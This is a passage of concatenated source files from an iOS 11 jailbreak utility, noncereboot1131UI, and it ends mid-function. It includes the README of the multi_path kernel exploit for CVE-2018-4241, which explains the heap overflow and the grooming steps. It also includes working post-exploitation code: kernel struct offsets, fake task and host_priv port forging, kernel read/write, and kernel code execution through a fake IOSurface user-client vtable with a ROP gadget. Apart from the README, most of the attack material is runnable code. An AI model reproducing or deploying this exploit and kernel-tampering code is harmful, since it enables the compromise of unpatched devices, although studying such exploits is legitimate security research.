-------------------------------------------------------------------------------- 1 | #import 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "offsets.h" 10 | #include "noncereboot.h" 11 | 12 | int* offsets = NULL; 13 | 14 | int kstruct_offsets_11_0[] = { 15 | 0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE, 16 | 0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT, 17 | 0x14, // KSTRUCT_OFFSET_TASK_ACTIVE, 18 | 0x20, // KSTRUCT_OFFSET_TASK_VM_MAP, 19 | 0x28, // KSTRUCT_OFFSET_TASK_NEXT, 20 | 0x30, // KSTRUCT_OFFSET_TASK_PREV, 21 | 0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE 22 | 0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO, 23 | 24 | 0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS, 25 | 0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES, 26 | 0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE, 27 | 0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT, 28 | 0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER, 29 | 0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT, 30 | 0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG, 31 | 0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT, 32 | 0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS, 33 | 34 | 0x10, // KSTRUCT_OFFSET_PROC_PID, 35 | 0x108, // KSTRUCT_OFFSET_PROC_P_FD 36 | 37 | 0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES 38 | 39 | 0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB 40 | 41 | 0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA 42 | 43 | 0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB 44 | 45 | 0x10, // KSTRUCT_OFFSET_PIPE_BUFFER 46 | 47 | 0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE 48 | 0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE 49 | 50 | 0x6c, // KFREE_ADDR_OFFSET 51 | }; 52 | 53 | int kstruct_offsets_11_3[] = { 54 | 0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE, 55 | 0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT, 56 | 0x14, // KSTRUCT_OFFSET_TASK_ACTIVE, 57 | 0x20, // KSTRUCT_OFFSET_TASK_VM_MAP, 58 | 0x28, // KSTRUCT_OFFSET_TASK_NEXT, 59 | 0x30, // KSTRUCT_OFFSET_TASK_PREV, 60 | 0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE 61 | 0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO, 62 | 63 | 0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS, 64 | 0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES, 65 | 0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE, 66 | 0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT, 67 | 0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER, 68 | 0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT, 69 | 0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG, 70 | 0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT, 71 | 0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS, 72 | 73 | 0x10, // KSTRUCT_OFFSET_PROC_PID, 74 | 0x108, // KSTRUCT_OFFSET_PROC_P_FD 75 | 76 | 0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES 77 | 78 | 0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB 79 | 80 | 0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA 81 | 82 | 0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB 83 | 84 | 0x10, // KSTRUCT_OFFSET_PIPE_BUFFER 85 | 86 | 0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE 87 | 0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE 88 | 89 | 0x7c, // KFREE_ADDR_OFFSET 90 | }; 91 | 92 | int koffset(enum kstruct_offset offset) { 93 | if (offsets == NULL) { 94 | printf("need to call offsets_init() prior to querying offsets\n"); 95 | return 0; 96 | } 97 | return offsets[offset]; 98 | } 99 | 100 | int offsets_init() { 101 | 102 | if (kCFCoreFoundationVersionNumber <= 1451.51) { 103 | printf("offsets selected for iOS 11.0 to 11.2.6\n"); 104 | offsets = kstruct_offsets_11_0; 105 | } else if (kCFCoreFoundationVersionNumber > 1452.23) { 106 | printf("this bug is patched in iOS 11.4 and above\n"); 107 | return ERR_VERSION; 108 | } else { 109 | printf("offsets selected for iOS 11.3 or above\n"); 110 | offsets = kstruct_offsets_11_3; 111 | } 112 | return ERR_NOERR; 113 | } 114 | -------------------------------------------------------------------------------- /noncereboot1131UI/post-exploit/utilities/nonce.c: -------------------------------------------------------------------------------- 1 | #include "nonce.h" 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include "IOKit.h" 9 | #include 10 | 11 | #define kIONVRAMDeletePropertyKey "IONVRAM-DELETE-PROPERTY" 12 | #define kIONVRAMForceSyncNowPropertyKey "IONVRAM-FORCESYNCNOW-PROPERTY" 13 | 14 | #define nonceKey "com.apple.System.boot-nonce" 15 | 16 | // thx PhoenixNonce 17 | 18 | CFMutableDictionaryRef makedict(const char *key, const char *val) { 19 | CFStringRef cfkey = CFStringCreateWithCStringNoCopy(NULL, key, kCFStringEncodingUTF8, kCFAllocatorNull); 20 | CFStringRef cfval = CFStringCreateWithCStringNoCopy(NULL, val, kCFStringEncodingUTF8, kCFAllocatorNull); 21 | 22 | CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0, &kCFCopyStringDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); 23 | if(!cfkey || !dict || !cfval) { 24 | ERROR("failed to alloc cf objects {'%s': '%s'}", key, val); 25 | return NULL; 26 | } else { 27 | DEBUG("made dict {'%s': '%s'}", key, val); 28 | } 29 | CFDictionarySetValue(dict, cfkey, cfval); 30 | 31 | CFRelease(cfkey); 32 | CFRelease(cfval); 33 | return dict; 34 | } 35 | 36 | int applydict(CFMutableDictionaryRef dict) { 37 | int ret = 1; 38 | 39 | io_service_t nvram = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM")); 40 | if(!MACH_PORT_VALID(nvram)) { 41 | ERROR("Failed to get IODTNVRAM service"); 42 | } else { 43 | kern_return_t kret = IORegistryEntrySetCFProperties(nvram, dict); 44 | DEBUG("IORegistryEntrySetCFProperties: 0x%x (%s)\n", kret, mach_error_string(kret)); 45 | if(kret == KERN_SUCCESS) { 46 | ret = 0; 47 | } 48 | } 49 | 50 | return ret; 51 | } 52 | 53 | char* getval(const char *key) { 54 | // IORegistryEntryCreateCFProperty seems to fail, btw 55 | 56 | char buf[1024]; 57 | unsigned int length = sizeof(buf); 58 | kern_return_t err; 59 | 60 | io_service_t nvram = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM")); 61 | if(!MACH_PORT_VALID(nvram)) { 62 | ERROR("Failed to get IODTNVRAM service"); 63 | return NULL; 64 | } 65 | 66 | err = IORegistryEntryGetProperty(nvram, key, (void*)buf, &length); 67 | DEBUG("IORegistryEntryGetProperty(%s) == 0x%x (%s)\n", key, err, mach_error_string(err)); 68 | if (err != KERN_SUCCESS) { 69 | return NULL; 70 | } 71 | 72 | buf[length] = '\0'; 73 | return strdup(buf); 74 | } 75 | 76 | int makenapply(const char *key, const char *val) { 77 | int ret = 1; 78 | 79 | CFMutableDictionaryRef dict = makedict(key, val); 80 | if(!dict) { 81 | ERROR("failed to make cf dict\n"); 82 | return ret; 83 | } 84 | 85 | ret = applydict(dict); 86 | 87 | if (ret) { 88 | ERROR("applydict failed\n"); 89 | } 90 | 91 | CFRelease(dict); 92 | return ret; 93 | } 94 | 95 | int setgen(const char *gen) { 96 | int ret = 0; 97 | 98 | ret = makenapply(kIONVRAMDeletePropertyKey, nonceKey); 99 | 100 | // set even if delete failed 101 | ret = makenapply(nonceKey, gen); 102 | ret = ret || makenapply(kIONVRAMForceSyncNowPropertyKey, nonceKey); 103 | 104 | return ret; 105 | } 106 | 107 | char* getgen(void) { 108 | return getval(nonceKey); 109 | } 110 | 111 | int delgen(void) { 112 | return makenapply(kIONVRAMDeletePropertyKey, nonceKey); 113 | } 114 | 115 | bool dump_apticket(const char *to) { 116 | bool ret = false; 117 | const char *from = "/System/Library/Caches/apticket.der"; 118 | struct stat s; 119 | if(stat(from, &s) != 0) 120 | { 121 | ERROR("stat failed: %s", strerror(errno)); 122 | } 123 | else 124 | { 125 | FILE *in = fopen(from, "rb"); 126 | if(in == NULL) 127 | { 128 | ERROR("failed to open src: %s", strerror(errno)); 129 | } 130 | else 131 | { 132 | FILE *out = fopen(to, "wb"); 133 | if(out == NULL) 134 | { 135 | ERROR("failed to open dst: %s", strerror(errno)); 136 | } 137 | else 138 | { 139 | char *buf = malloc(s.st_size); 140 | if(buf == NULL) 141 | { 142 | ERROR("failed to alloc buf: %s", strerror(errno)); 143 | } 144 | else 145 | { 146 | fread(buf, s.st_size, 1, in); 147 | fwrite(buf, s.st_size, 1, out); 148 | free(buf); 149 | ret = true; 150 | } 151 | fclose(out); 152 | } 153 | fclose(in); 154 | } 155 | } 156 | return ret; 157 | } 158 | 159 | -------------------------------------------------------------------------------- /noncereboot1131UI/exploit/README: -------------------------------------------------------------------------------- 1 | multi_path - exploit for p0 issue 1558 (CVE-2018-4241) 2 | @i41nbeer 3 | 4 | mptcp_usr_connectx is the handler for the connectx syscall for the AP_MULTIPATH socket family. 5 | 6 | The logic of this function fails to correctly handle source and destination sockaddrs which aren't 7 | AF_INET or AF_INET6: 8 | 9 | //*************** 10 | // verify sa_len for AF_INET: 11 | 12 | if (dst->sa_family == AF_INET && 13 | dst->sa_len != sizeof(mpte->__mpte_dst_v4)) { 14 | mptcplog((LOG_ERR, "%s IPv4 dst len %u\n", __func__, dst->sa_len), MPTCP_SOCKET_DBG, MPTCP_LOGLVL_ERR); 15 | error = EINVAL; 16 | goto out; 17 | } 18 | 19 | // verify sa_len for AF_INET6: 20 | 21 | if (dst->sa_family == AF_INET6 && 22 | dst->sa_len != sizeof(mpte->__mpte_dst_v6)) { 23 | mptcplog((LOG_ERR, "%s IPv6 dst len %u\n", __func__, dst->sa_len), MPTCP_SOCKET_DBG, MPTCP_LOGLVL_ERR); 24 | error = EINVAL; 25 | goto out; 26 | } 27 | 28 | // code doesn't bail if sa_family was neither AF_INET nor AF_INET6 29 | 30 | if (!(mpte->mpte_flags & MPTE_SVCTYPE_CHECKED)) { 31 | if (mptcp_entitlement_check(mp_so) < 0) { 32 | error = EPERM; 33 | goto out; 34 | } 35 | 36 | mpte->mpte_flags |= MPTE_SVCTYPE_CHECKED; 37 | } 38 | 39 | // memcpy with sa_len up to 255: 40 | 41 | if ((mp_so->so_state & (SS_ISCONNECTED|SS_ISCONNECTING)) == 0) { 42 | memcpy(&mpte->mpte_dst, dst, dst->sa_len); 43 | } 44 | 45 | //*************** 46 | 47 | Looking around in the structure which you overflow inside you notice you can hit both fields here: 48 | 49 | if (mpte->mpte_itfinfo_size > MPTE_ITFINFO_SIZE) 50 | _FREE(mpte->mpte_itfinfo, M_TEMP); 51 | 52 | mpte_itfinfo_size is just before mpte_itfinfo. 53 | 54 | When the structure is initialized the mpte_itfinfo pointer points to a small inline array. If more subflows are added 55 | than will fit in there they are instead put in a heap buffer, and mpte_itfinfo will point to that. 56 | 57 | If you had another bug (eg the kernel heap disclosure bug from async_wake) you could overwrite the mpte_itfinfo field 58 | with any valid zone object and it would get free'd (in fact, you could also overwrite it with an offset into that object 59 | for even more fun!) 60 | 61 | However, we don't have that. 62 | 63 | Instead another approach is to partially overwrite the pointer. If we partially overwrite it with NULL bytes we can point 64 | it to a 256 byte, 65k, 16MB or 4GB aligned value. 65 | 66 | In this exploit I choose a 3 byte NULL overwrite, which will cause a kfree of the mpte_itfinfo address rounded down to the 67 | next 16MB boundary. 68 | 69 | The exploitation flow is as follows: 70 | 71 | Allocate alternatingly 16MB of ipc_kmsgs followed by a bunch of mptcp sockets. The goal here is to get a kalloc.2048 allocation 72 | at that 16MB boundary. 73 | 74 | Use the bug to free one of the ipc_kmsgs, moving that page to the intermediate list and putting the 16MB-aligned allocation on a 75 | kalloc.2048 intermediate page freelist. 76 | 77 | Allocate a bunch of filled 2047 byte pipes; the backing buffers for these pipes will come from kalloc.2048, hopefully including our 78 | 16MB-aligned address. 79 | 80 | Trigger the bug a second time, freeing the same address and this time then allocate a bunch of preallocated ipc_kmsg buffers from 81 | kalloc.2048. 82 | 83 | Now we hopefully have an ipc_kmsg (which we can get messages sent to and then receive) and a pipe buffer (which we can read and write) 84 | overlapping each other. 85 | 86 | I use the thread exception port trick from extra_recipe to get messages sent to the prealloced ipc_kmsg buffer. Each time we check each 87 | of the pipes to see if any of them contain the message. When we find the right (ipc_kmsg,pipe) pair we can rewrite the message to send ourselves 88 | a fake port which lives inside the pipe buffer. I structure that fake port like the one from async_wake (which I based on yalu 10.2 by 89 | @qwertyoruiopz and @marcograss) to give me an early kernel read primitive. 90 | 91 | Using the kernel read primitive I find the kernel task and make a fake port which allows easier kernel memory read/write via 92 | mach_vm_read/mach_vm_write. 93 | 94 | Caveat: To connect mptcp sockets you do need the com.apple.developer.networking.multipath entitlement which requires an apple developer cert, which 95 | anyone can buy from Apple. 96 | 97 | Reliability: 98 | This is a security reseach tool and is faaaar from perfect. However, it should work most of the time, and when it does work it should 99 | do a good job of cleaning up so it won't panic later. 100 | 101 | To improve the probability of it working: 102 | * turn off wifi and go in to airplane mode 103 | * reboot 104 | * wait 30 seconds after restarting 105 | * run the app from xcode 106 | 107 | Supported devices: 108 | It should work on iOS 11.0 - 11.3.1 inclusive. I have tested on: iPod Touch 6g, iPhone 6s, iPhone SE, iPhone 7, iPhone 8 109 | 110 | API: 111 | #include "sploit.h" and call go() to run the exploit. 112 | If it worked you can use the functions in kmem.h to read and write kernel memory 113 | 114 | Notes: 115 | Multiple people have publically bindiff'ed this bug from the patch (or their 0day got patched ;) read their stuff for more details: 116 | @elvanderb gave a lightning talk about the bug at rump.beer in Paris on May 31st: https://www.rump.beer/2018/slides/ios_48h.pdf 117 | @jaakerblom published a working exploit on github on June 1st: https://github.com/potmdehex/multipath_kfree 118 | John's technique is similar to mine but he does a two-byte overflow rather than a three byte one, and replaces with different objects. good stuff! 119 | -------------------------------------------------------------------------------- /noncereboot1131UI/post-exploit/utilities/kexecute.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "kmem.h" 3 | #include "kexecute.h" 4 | #include "kutils.h" 5 | #include "exploit_additions.h" 6 | #include "patchfinder64.h" 7 | #include "offsetof.h" 8 | 9 | mach_port_t prepare_user_client(void) { 10 | kern_return_t err; 11 | mach_port_t user_client; 12 | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot")); 13 | 14 | if (service == IO_OBJECT_NULL){ 15 | printf(" [-] unable to find service\n"); 16 | exit(EXIT_FAILURE); 17 | } 18 | 19 | err = IOServiceOpen(service, mach_task_self(), 0, &user_client); 20 | if (err != KERN_SUCCESS){ 21 | printf(" [-] unable to get user client connection\n"); 22 | exit(EXIT_FAILURE); 23 | } 24 | 25 | 26 | printf("got user client: 0x%x\n", user_client); 27 | return user_client; 28 | } 29 | 30 | // TODO: Consider removing this - jailbreakd runs all kernel ops on the main thread 31 | pthread_mutex_t kexecute_lock; 32 | static mach_port_t user_client; 33 | static uint64_t IOSurfaceRootUserClient_port; 34 | static uint64_t IOSurfaceRootUserClient_addr; 35 | static uint64_t fake_vtable; 36 | static uint64_t fake_client; 37 | const int fake_kalloc_size = 0x1000; 38 | 39 | void init_kexecute(void) { 40 | user_client = prepare_user_client(); 41 | 42 | // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable 43 | IOSurfaceRootUserClient_port = find_port(user_client); // UserClients are just mach_ports, so we find its address 44 | printf("Found port: 0x%llx\n", IOSurfaceRootUserClient_port); 45 | 46 | IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field 47 | printf("Found addr: 0x%llx\n", IOSurfaceRootUserClient_addr); 48 | 49 | uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object 50 | printf("Found vtab: 0x%llx\n", IOSurfaceRootUserClient_vtab); 51 | 52 | // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one 53 | // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel 54 | 55 | 56 | // Create the vtable in the kernel memory, then copy the existing vtable into there 57 | fake_vtable = kalloc(fake_kalloc_size); 58 | printf("Created fake_vtable at %016llx\n", fake_vtable); 59 | 60 | for (int i = 0; i < 0x200; i++) { 61 | wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8)); 62 | } 63 | 64 | printf("Copied some of the vtable over\n"); 65 | 66 | // Create the fake user client 67 | fake_client = kalloc(fake_kalloc_size); 68 | printf("Created fake_client at %016llx\n", fake_client); 69 | 70 | for (int i = 0; i < 0x200; i++) { 71 | wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8)); 72 | } 73 | 74 | printf("Copied the user client over\n"); 75 | 76 | // Write our fake vtable into the fake user client 77 | wk64(fake_client, fake_vtable); 78 | 79 | // Replace the user client with ours 80 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client); 81 | 82 | // Now the userclient port we have will look into our fake user client rather than the old one 83 | 84 | // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;) 85 | wk64(fake_vtable+8*0xB7, find_add_x0_x0_0x40_ret()); 86 | 87 | printf("Wrote the `add x0, x0, #0x40; ret;` gadget over getExternalTrapForIndex"); 88 | 89 | pthread_mutex_init(&kexecute_lock, NULL); 90 | } 91 | 92 | void term_kexecute(void) { 93 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr); 94 | kfree(fake_vtable, fake_kalloc_size); 95 | kfree(fake_client, fake_kalloc_size); 96 | } 97 | 98 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) { 99 | pthread_mutex_lock(&kexecute_lock); 100 | 101 | // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex 102 | // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap. 103 | // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the 104 | // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed 105 | // through like normal. 106 | 107 | // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it 108 | // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents 109 | // (i'm not actually sure if the switch back is necessary but meh) 110 | 111 | uint64_t offx20 = rk64(fake_client+0x40); 112 | uint64_t offx28 = rk64(fake_client+0x48); 113 | wk64(fake_client+0x40, x0); 114 | wk64(fake_client+0x48, addr); 115 | uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6)); 116 | wk64(fake_client+0x40, offx20); 117 | wk64(fake_client+0x48, offx28); 118 | 119 | pthread_mutex_unlock(&kexecute_lock); 120 | 121 | return returnval; 122 | } 123 | -------------------------------------------------------------------------------- /noncereboot1131UI/post-exploit/utilities/exploit_additions.c: -------------------------------------------------------------------------------- 1 | #include "exploit_additions.h" 2 | #include "kmem.h" 3 | #include "offsets.h" 4 | #include "offsetof.h" 5 | 6 | /* 7 | for the given mach message size, how big will the ipc_kmsg structure be? 8 | 9 | This is defined in ipc_kmsg_alloc, and it's quite complicated to work it out! 10 | 11 | The size is overallocated so that if the message was sent from a 32-bit process 12 | they can expand out the 32-bit ool descriptors to the kernel's 64-bit ones, which 13 | means that for each descriptor they would need an extra 4 bytes of space for the 14 | larger pointer. Except at this point they have no idea what's in the message 15 | so they assume the worst case for all messages. This leads to approximately a 30% 16 | overhead in the allocation size. 17 | 18 | The allocated size also contains space for the maximum trailer plus the ipc_kmsg header. 19 | 20 | When the message is actually written into this buffer it's aligned to the end 21 | */ 22 | int message_size_for_kalloc_size(int kalloc_size) { 23 | return ((3*kalloc_size)/4) - 0x74; 24 | } 25 | 26 | void prepare_prealloc_port(mach_port_t port) { 27 | mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); 28 | } 29 | 30 | int port_has_message(mach_port_t port) { 31 | kern_return_t err; 32 | mach_port_seqno_t msg_seqno = 0; 33 | mach_msg_size_t msg_size = 0; 34 | mach_msg_id_t msg_id = 0; 35 | mach_msg_trailer_t msg_trailer; // NULL trailer 36 | mach_msg_type_number_t msg_trailer_size = sizeof(msg_trailer); 37 | err = mach_port_peek(mach_task_self(), 38 | port, 39 | MACH_RCV_TRAILER_NULL, 40 | &msg_seqno, 41 | &msg_size, 42 | &msg_id, 43 | (mach_msg_trailer_info_t)&msg_trailer, 44 | &msg_trailer_size); 45 | 46 | return (err == KERN_SUCCESS); 47 | } 48 | 49 | /* 50 | * Purpose: iterates over the procs and finds a proc with given pid 51 | */ 52 | uint64_t multi_path_get_proc_with_pid(pid_t target_pid, int spawned) { 53 | 54 | extern uint64_t task_port_kaddr; 55 | uint64_t struct_task = rk64(task_port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 56 | 57 | printf("our pid: %x\n", target_pid); 58 | 59 | while (struct_task != 0) { 60 | uint64_t bsd_info = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)); 61 | 62 | // get the process pid 63 | uint32_t pid = rk32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID)); 64 | 65 | printf("pid: %x\n", pid); 66 | 67 | if(pid == target_pid) { 68 | return bsd_info; 69 | } 70 | 71 | if(spawned) // spawned binaries will exist AFTER our task 72 | struct_task = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_NEXT)); 73 | else 74 | struct_task = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV)); 75 | 76 | } 77 | return -1; // we failed :/ 78 | } 79 | 80 | uint64_t our_task_addr(){ 81 | uint64_t our_proc = multi_path_get_proc_with_pid(getpid(), FALSE); 82 | 83 | if (our_proc == 0) { 84 | fprintf(stderr,"failed to find our_task_addr!\n"); 85 | exit(EXIT_FAILURE); 86 | } 87 | 88 | uint64_t addr = rk64(our_proc + offsetof_task); 89 | fprintf(stderr,"our_task_addr: 0x%llx\n", addr); 90 | return addr; 91 | } 92 | 93 | uint64_t find_port(mach_port_name_t port){ 94 | uint64_t task_addr = our_task_addr(); 95 | 96 | uint64_t itk_space = rk64(task_addr + offsetof_itk_space); 97 | 98 | uint64_t is_table = rk64(itk_space + offsetof_ipc_space_is_table); 99 | 100 | uint32_t port_index = port >> 8; 101 | const int sizeof_ipc_entry_t = 0x18; 102 | 103 | uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t)); 104 | return port_addr; 105 | } 106 | 107 | uint64_t task_self_addr(void); 108 | uint64_t ipc_space_kernel(void); 109 | 110 | void convert_port_to_task_port(mach_port_t port, uint64_t space, uint64_t task_kaddr) { 111 | // now make the changes to the port object to make it a task port: 112 | uint64_t port_kaddr = find_port(port); 113 | 114 | wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_BITS_ACTIVE | IKOT_TASK); 115 | wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES), 0xf00d); 116 | wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS), 0xf00d); 117 | wk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), space); 118 | wk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), task_kaddr); 119 | 120 | // swap our receive right for a send right: 121 | uint64_t task_port_addr = task_self_addr(); 122 | uint64_t task_addr = rk64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 123 | uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE)); 124 | uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE)); 125 | 126 | uint32_t port_index = port >> 8; 127 | const int sizeof_ipc_entry_t = 0x18; 128 | uint32_t bits = rk32(is_table + (port_index * sizeof_ipc_entry_t) + 8); // 8 = offset of ie_bits in struct ipc_entry 129 | 130 | #define IE_BITS_SEND (1<<16) 131 | #define IE_BITS_RECEIVE (1<<17) 132 | 133 | bits &= (~IE_BITS_RECEIVE); 134 | bits |= IE_BITS_SEND; 135 | 136 | wk32(is_table + (port_index * sizeof_ipc_entry_t) + 8, bits); 137 | } 138 | 139 | 140 | void make_port_fake_task_port(mach_port_t port, uint64_t task_kaddr) { 141 | convert_port_to_task_port(port, ipc_space_kernel(), task_kaddr); 142 | } 143 | -------------------------------------------------------------------------------- /noncereboot1131UI/post-exploit/utilities/kutils.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include 5 | #include "kutils.h" 6 | #include "kmem.h" 7 | #include "offsets.h" 8 | #include "patchfinder64.h" 9 | #include "exploit_additions.h" 10 | #include "offsetof.h" 11 | 12 | extern mach_port_t tfpzero; 13 | 14 | uint64_t cached_task_self_addr = 0; 15 | uint64_t task_self_addr() { 16 | if (cached_task_self_addr == 0) { 17 | cached_task_self_addr = find_port(mach_task_self()); 18 | printf("task self: 0x%llx\n", cached_task_self_addr); 19 | } 20 | return cached_task_self_addr; 21 | } 22 | 23 | uint64_t ipc_space_kernel() { 24 | return rk64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER)); 25 | } 26 | 27 | uint64_t find_kernel_base() { 28 | uint64_t hostport_addr = find_port(mach_host_self()); 29 | uint64_t realhost = rk64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 30 | 31 | uint64_t base = realhost & ~0xfffULL; 32 | // walk down to find the magic: 33 | for (int i = 0; i < 0x10000; i++) { 34 | if (rk32(base) == 0xfeedfacf) { 35 | return base; 36 | } 37 | base -= 0x1000; 38 | } 39 | return 0; 40 | } 41 | 42 | mach_port_t fake_host_priv_port = MACH_PORT_NULL; 43 | 44 | // build a fake host priv port 45 | mach_port_t fake_host_priv() { 46 | if (fake_host_priv_port != MACH_PORT_NULL) { 47 | return fake_host_priv_port; 48 | } 49 | // get the address of realhost: 50 | uint64_t hostport_addr = find_port(mach_host_self()); 51 | uint64_t realhost = rk64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); 52 | 53 | // allocate a port 54 | mach_port_t port = MACH_PORT_NULL; 55 | kern_return_t err; 56 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); 57 | if (err != KERN_SUCCESS) { 58 | printf("failed to allocate port\n"); 59 | return MACH_PORT_NULL; 60 | } 61 | 62 | // get a send right 63 | mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); 64 | 65 | // locate the port 66 | uint64_t port_addr = find_port(port); 67 | 68 | // change the type of the port 69 | #define IKOT_HOST_PRIV 4 70 | #define IO_ACTIVE 0x80000000 71 | wk32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_HOST_PRIV); 72 | 73 | // change the space of the port 74 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel()); 75 | 76 | // set the kobject 77 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), realhost); 78 | 79 | fake_host_priv_port = port; 80 | 81 | return port; 82 | } 83 | 84 | size_t kread(uint64_t where, void *p, size_t size) { 85 | int rv; 86 | size_t offset = 0; 87 | while (offset < size) { 88 | mach_vm_size_t sz, chunk = 2048; 89 | if (chunk > size - offset) { 90 | chunk = size - offset; 91 | } 92 | rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz); 93 | if (rv || sz == 0) { 94 | fprintf(stderr, "[e] error reading kernel @%p\n", (void *)(offset + where)); 95 | break; 96 | } 97 | offset += sz; 98 | } 99 | return offset; 100 | } 101 | 102 | size_t kwrite(uint64_t where, const void *p, size_t size) { 103 | int rv; 104 | size_t offset = 0; 105 | while (offset < size) { 106 | size_t chunk = 2048; 107 | if (chunk > size - offset) { 108 | chunk = size - offset; 109 | } 110 | rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, (mach_msg_type_number_t)chunk); 111 | if 